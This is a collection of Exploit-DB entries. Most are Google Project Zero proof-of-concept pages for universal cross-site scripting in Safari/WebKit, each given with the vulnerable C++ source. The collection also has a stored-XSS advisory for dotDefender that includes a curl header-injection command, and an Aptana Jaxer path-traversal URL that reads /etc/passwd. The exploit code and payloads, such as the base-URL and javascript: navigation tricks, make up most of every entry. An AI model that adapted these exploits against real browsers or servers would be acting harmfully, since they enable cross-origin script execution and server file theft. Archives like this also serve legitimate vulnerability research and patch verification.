deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42069
Description: Apple Safari 10.0.3(12602.4.8) / WebKit - 'HTMLObjectElement::updateWidget' Universal Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-05-25
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1120

When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.

Here's some snippets of the logic.

void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
{
    ...
    String url = this->url(); 
    ...
    if (!allowedToLoadFrameURL(url))
        return;
    ...

    bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
    ...

    bool success = beforeLoadAllowedLoad && hasValidClassId();
    if (success)
        success = requestObject(url, serviceType, paramNames, paramValues);
    ...
}

bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
{
    URL completeURL = document().completeURL(url);
    if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
        return false;
    return document().frame()->isURLAllowed(completeURL);
}

bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
{
    if (m_pluginReplacement)
        return true;

    URL completedURL;
    if (!url.isEmpty())
        completedURL = document().completeURL(url);

    ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
    if (!replacement || !replacement->isEnabledBySettings(document().settings()))
        return false;

    LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());

    m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
    setDisplayState(PreparingPluginReplacement);
    return true;
}

The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.

What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<html>
<head>
</head>
<body>
<script>

let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
    o.onload = null;

    o.onbeforeload = () => {
        o.onbeforeload = null;

        let b = document.head.appendChild(document.createElement('base'));
        b.href = 'javascript:///%0aalert(location);//';
    };
    o.data = 'xxxxx';
};

o.type = 'text/html';
o.data = 'https://abc.xyz/';

</script>
</body>
</html>
Exploit-DB #41800
Description: Apple Webkit - 'JSCallbackData' Universal Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-04-04
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1068

Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.

class JSCallbackDataStrong : public JSCallbackData {
public:
    JSCallbackDataStrong(JSC::JSObject* callback, void*)
        : m_callback(callback->globalObject()->vm(), callback)
    {
    }

    JSC::JSObject* callback() { return m_callback.get(); }
    JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }

    JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
    {
        return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
    }

private:
    JSC::Strong<JSC::JSObject> m_callback;
};

JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
    ASSERT(callback);

    auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject());  <<<---------- (1)
    ASSERT(globalObject);

    ExecState* exec = globalObject->globalExec();
    JSValue function;
    CallData callData;
    CallType callType = CallType::None;

    if (method != CallbackType::Object) {
        function = callback;
        callType = callback->methodTable()->getCallData(callback, callData);
    }
    if (callType == CallType::None) {
        if (method == CallbackType::Function) {
            returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec));  <<<---------- (2)
            return JSValue();
        }
        ...
    }
    ...
}

But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.

PoC:
-->

"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
    f.onload = null;

    try {
        let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
        iterator.nextNode();
    } catch (e) {
        e.constructor.constructor("alert(location)")();
    }
};

f.src = "https://abc.xyz/";
Exploit-DB #41801
Description: Apple Webkit - Universal Cross-Site Scripting by Accessing a Named Property from an Unloaded Window
Type: webapps
Platform: multiple
Date: 2017-04-04
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1063

The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.

static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
{
    ...
    Document* document = frame.document(); <<-------- the new document.
    if (is<HTMLDocument>(*document)) {
        auto& htmlDocument = downcast<HTMLDocument>(*document);
        auto* atomicPropertyName = propertyName.publicName();
        if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
            JSValue namedItem;
            if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
                Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
                ASSERT(collection->length() > 1);
                namedItem = toJS(exec, thisObject->globalObject(), collection);
            } else
                namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
            slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
            return true;
        }
    }

    return false;
}

PoC:
-->

"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
let get_element = f.contentWindow.Function("return logo;");

f.onload = () => {
    f.onload = null;

    let node = get_element();

    var sc = document.createElement("script");
    sc.innerText = "alert(location)";
    node.appendChild(sc);
};

f.src = "https://abc.xyz/";

<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
Exploit-DB #41900
Description: Apple WebKit / Safari 10.0.2(12602.3.12.0.1) - 'operationSpreadGeneric' Universal Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-04-20
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1094

Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)

PoC:
-->

<body>
<script>

'use strict';

function spread(a) {
    return [...a];
}

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
    spread(arr);
}

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
    f.onload = null;

    try {
        spread(f.contentWindow);
    } catch (e) {
        e.constructor.constructor('alert(location)')();
    }
};

f.src = 'https://abc.xyz/';

</script>
</body>
Exploit-DB #41865
Description: Apple WebKit / Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-04-11
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1121

Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.

bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
    // Support for <frame src="javascript:string">
    URL scriptURL;
    URL url;
    if (protocolIsJavaScript(urlString)) {
        scriptURL = completeURL(urlString); // completeURL() encodes the URL.
        url = blankURL();
    } else
        url = completeURL(urlString);

    if (shouldConvertInvalidURLsToBlank() && !url.isValid())
        url = blankURL();

    Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
    if (!frame)
        return false;

    if (!scriptURL.isEmpty())
        frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom

    return true;
}

A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<body>
<p>click anywhere</p>
<script>

window.onclick = () => {
    window.onclick = null;

    f = document.createElement('iframe');
    f.src = 'javascript:alert(location)';
    f.onload = () => {
        f.onload = null;

        let a = f.contentDocument.createElement('a');
        a.href = 'https://abc.xyz/';
        a.click();

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
    try {
        opener[0].document.x;
    } catch (e) {
        clearInterval(it);

        window.close();
    }
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    };

    document.body.appendChild(f);
};

cached.src = kUrl;

</script>
</body>
Exploit-DB #41866
Description: Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element
Type: webapps
Platform: multiple
Date: 2017-04-11
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1119

This is somewhat similar to https://crbug.com/663476.

Here's a snippet of Container::replaceAllChildren.

while (RefPtr<Node> child = m_firstChild) {
    removeBetween(nullptr, child->nextSibling(), *child);
    notifyChildNodeRemoved(*this, *child);
}

If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent.

Tested on Safari 10.0.3(12602.4.8).
-->

<html>
<head>
</head>
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let inp = f.contentDocument.head.appendChild(document.createElement('input'));
let link = inp.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';

let btn = f.contentDocument.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
    btn.onfocus = null;

    window.g = inp.appendChild(document.createElement('iframe'));
    window.g.onload = () => {
        window.g.onload = null;

        window.g.src = 'javascript:alert(location)';
        let xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.g);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

        let h = document.body.appendChild(document.createElement('iframe'));
        h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
    };

    window.g.src = 'https://abc.xyz/';
};

f.contentWindow.location.hash = 'btn';
inp.textContent = '';

</script>
</body>
</html>
Exploit-DB #41802
Description: Apple WebKit 10.0.2 (12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-04-04
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1074

When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).

Here is a snippet of |disconnectSubframes|.

void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
    ...
    Vector<Ref<HTMLFrameOwnerElement>> frameOwners;

    if (policy == RootAndDescendants) {
        if (is<HTMLFrameOwnerElement>(root))
            frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
    }

    collectFrameOwners(frameOwners, root);

    // Must disable frame loading in the subtree so an unload handler cannot
    // insert more frames and create loaded frames in detached subtrees.
    SubframeLoadingDisabler disabler(root);

    bool isFirst = true;
    for (auto& owner : frameOwners) {
        // Don't need to traverse up the tree for the first owner since no
        // script could have moved it.
        if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
            owner.get().disconnectContentFrame();
        isFirst = false;
    }
}

The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.

It should be like:

    ...
    collectFrameOwners(frameOwners, root);

    if (is<Element>(root)) {
        Element& element = downcast<Element>(root);
        if (ShadowRoot* shadowRoot = element.shadowRoot())
            collectFrameOwners(frameOwners, *shadowRoot);
    }
    ...


PoC:
-->

var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});

var f = s.appendChild(document.createElement("iframe"));

f.onload = () => {
    f.onload = null;

    f.src = "javascript:alert(location)";

    var xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

    var v = document.body.appendChild(document.createElement("iframe"));
    v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
};

f.src = "https://abc.xyz/";

<!--
Tested on Safari 10.0.2(12602.3.12.0.1)

I didn’t notice that the method shadowRoot is declared in Node.h. So the following would better make sense.

    collectFrameOwners(frameOwners, root);

    if (ShadowRoot* shadowRoot = root.shadowRoot())
        collectFrameOwners(frameOwners, *shadowRoot);
-->
Exploit-DB #41803
Description: Apple WebKit 10.0.2 (12602.3.12.0.1_ r210800) - 'constructJSReadableStreamDefaultReader' Type Confusion
Type: webapps
Platform: multiple
Date: 2017-04-04
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1085

EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec)
{
    VM& vm = exec.vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0));
    if (!stream)
        return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");

    JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1

    CallData callData;
    CallType callType = getCallData(jsFunction, callData);
    MarkedArgumentBuffer noArguments;
    return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments));
}

It doesn't check whether |getReader| is callable or not.

PoC:
-->

let rs = new ReadableStream();
let cons = rs.getReader().constructor;

rs.getReader = 0x12345;
new cons(rs);

<!--
Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, r210800)
-->
Exploit-DB #41453
Description: Apple WebKit 10.0.2 - 'Frame::setDocument' Universal Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-02-24
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057

Here's a snippet of Frame::setDocument.

void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();

    m_doc = newDocument.copyRef();
    ...
}

Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.

PoC:
-->

"use strict";

let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));

a.contentWindow.onunload = () => {
    f.src = "javascript:''";

    let b = f.contentDocument.appendChild(document.createElement("iframe"));
    b.contentWindow.onunload = () => {
        f.src = "javascript:''";

        let doc = f.contentDocument;

        f.onload = () => {
            f.onload = () => {
                f.onload = null;

                let s = doc.createElement("form");
                s.action = "javascript:alert(location)";
                s.submit();
            };

            f.src = "https://abc.xyz/";
        };

    };
};

f.src = "javascript:''";

<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
Exploit-DB #41799
Description: Apple WebKit 10.0.2(12602.3.12.0.1) - 'Frame::setDocument (1)' Universal Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-04-04
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1056

void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();

    m_doc = newDocument.copyRef();
    ...
}

The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.

PoC:
-->

"use strict";

document.write("click anywhere to start");

window.onclick = () => {
    let w = open("about:blank", "one");
    let d = w.document;

    let a = d.createElement("a");
    a.href = "https://abc.xyz/";
    a.click();  <<------- about:blank -> Document::InPageCache

    let it = setInterval(() => {
        try {
            w.location.href.toString;
        } catch (e) {
            clearInterval(it);

            let s = d.createElement("a");  <<------ about:blank's document
            s.href = "javascript:alert(location)";
            s.click();
        }
    }, 0);
};


<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
Exploit-DB #14103
Description: Applicure dotDefender 4.01-3 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-06-28
Author: EnableSecurity

Exploit:
An advisory by EnableSecurity.

ID: ES-20100601

Advisory URL:
http://resources.enablesecurity.com/advisories/ES-20100601-dotdefender4.txt

Affected Versions: version 4.0

Fixed versions: 4.01-3 (and later)

Description:

Applicure dotDefender is a Web Application Firewall that can be installed on
Windows and Linux servers.


    From their website (applicure.com):

"dotDefender is the market-leading software Web Application Firewall (WAF).
dotDefender boasts enterprise-class security, advanced integration capabilities,
easy maintenance and low total cost of ownership (TCO). dotDefender is the
perfect choice for protecting your website and web applications today. "

Credits:

These vulnerabilities were discovered during WAF testing by Sandro Gauci of
EnableSecurity. We contacted AppliCure on May 17, 2010 about this vulnerability.
They were already working on a fix.

____________________________________________________________________________

Technical details:

The log viewer facility in dotDefender does not properly htmlencode user
supplied input. This leads to a cross site scripting vulnerability when the log
viewer displays HTTP headers.

____________________________________________________________________________

Demo:

One may use curl and insert headers containing html tags using the --header
switch.
Example:

    curl "http://website.org/c?a=<script>" \
    --header "<script>alert(1)</script>: aa"

When the administrator views the log viewer page, his/her web browser will
execute the attacker's javascript.

The following demo shows how an attacker can switch off dotDefender in order to
bypass any "protection" offered by the WAF:

    http://vimeo.com/12132622

Timeline:

May 17, 2010: Initial contact
Jun 01, 2010: Release of this advisory

Solution:

Upgrade to the latest version of dotDefender:
http://www.applicure.com/
Exploit-DB #47214
Description: Aptana Jaxer 1.0.3.4547 - Local File inclusion
Type: webapps
Platform: multiple
Date: 2019-08-08
Author: Steph Jensen

Exploit:
# Exploit Title: Aptana Jaxer Remote Local File inclusion
# Date: 8/8/2019
# Exploit Author: Steph Jensen
# Vendor Homepage:
[http://www.jaxer.org](http://www.jaxer.org/category/uncategorized/)
# Version: 1.0.3.4547
# Tested on: Linux
# CVE : CVE-2019-14312

Aptana Jaxer 1.0.3.4547 is vulnerable to a local file inclusion vulnerability in the wikilite source code viewer. This vulnerability allows a remote attacker to read internal files on the server via tools/sourceViewer/index.html?filename=../ URI.

To exploit this vulnerability an attacker must have access to the Aptana Jaxer web application. The Samples and Tools page will have the wikilite demo. After opening the wikilite demo the source code can be viewed by clicking the html button and selecting "Wikilite source code". This leads to http://server:8081/aptana/tools/sourceViewer/index.html?filename=../../samples/wikilite/index.html. by using directory traversal in the filename parameter a remote attacker can access internal files on the server.

PoC: http://server:8081/aptana/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd